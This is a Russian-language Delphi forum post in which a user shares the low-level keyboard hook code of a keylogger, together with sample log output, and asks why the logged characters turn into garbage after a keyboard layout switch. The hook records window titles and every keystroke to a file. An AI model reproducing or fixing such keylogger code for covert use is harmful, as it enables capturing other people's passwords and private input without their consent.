Показать сообщение отдельно
  #1  
Старый 16.12.2013, 20:14
iem00 iem00 вне форума
Прохожий
 
Регистрация: 16.12.2013
Сообщения: 14
Версия Delphi: Delphi 7
Репутация: 10
По умолчанию WH_KEYBOARD_LL проблемы с кодом

Добрый вечер. Есть код key логгера. Все работает, но после одновременного нажатия двух и более клавиш (например переключения раскладки) в файл пишется не нажатая клавиша а набор закарлючек.
В качестве хука использую WH_KEYBOARD_LL, так как WH_KEYBOARD хоть и работает нормально, но только внутри родного приложения и проводника.

Вот пример лога:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
16-12-2013 20:11:00###ACTIVATE===+++@@@

п`l`о`м`о`г`и#`т!`е!` !`р!`а!`з!`о%`р$`$`б$`р$`а$`т$`ь)`с(`я(` (`с(` (`к(`о/`с+`я+`к+`о,`м,`.,` 4`т2`l2`р2`е2`т2`и2`й7` 7`д7`е7`н7`ь7` 7`м:`у9`ч9`а9`ю9`с9`ь9`1!`А`

хотя сначала прога работает так:

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
16-12-2013 20:09:20###ACTIVATE===Program Manager+++@@@

xcvbxcvbxcvb

Сам код:
Код:
 try
    Wnd:= GetForegroundWindow;
    GetWindowText(WND, wtext, Length(wtext)-1);
    if wtext<>PrevWindowName then   WriteLogLN(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+wtext+ '+++'+'@@@');
    PrevWindowName:=wtext;
    if (Code=HC_ACTION) and (wParam=WM_KEYUP)  then
    begin
      LKBDLLHOOKSTRUCT := PKeyboardLowLevelHookStruct(lParam);
      GetKeyboardState(KeyState);
      New(KeyName);
      ToAsciiEx(LKBDLLHOOKSTRUCT.vkCode, 0, KeyState, KeyName, 0, GetKeyboardLayout(0));
      WriteLog(KeyName);
      if   LKBDLLHOOKSTRUCT.vkCode=VK_RETURN then WriteLogLNLittle('');
    end;
    Result:=  CallNextHookEx(MSGHook, Code, wParam, lParam);
    except
    end;
Админ: Пользуемся тегами для оформления кода!

Помогите разобраться с косяком. Третий день мучаюсь!
Ответить с цитированием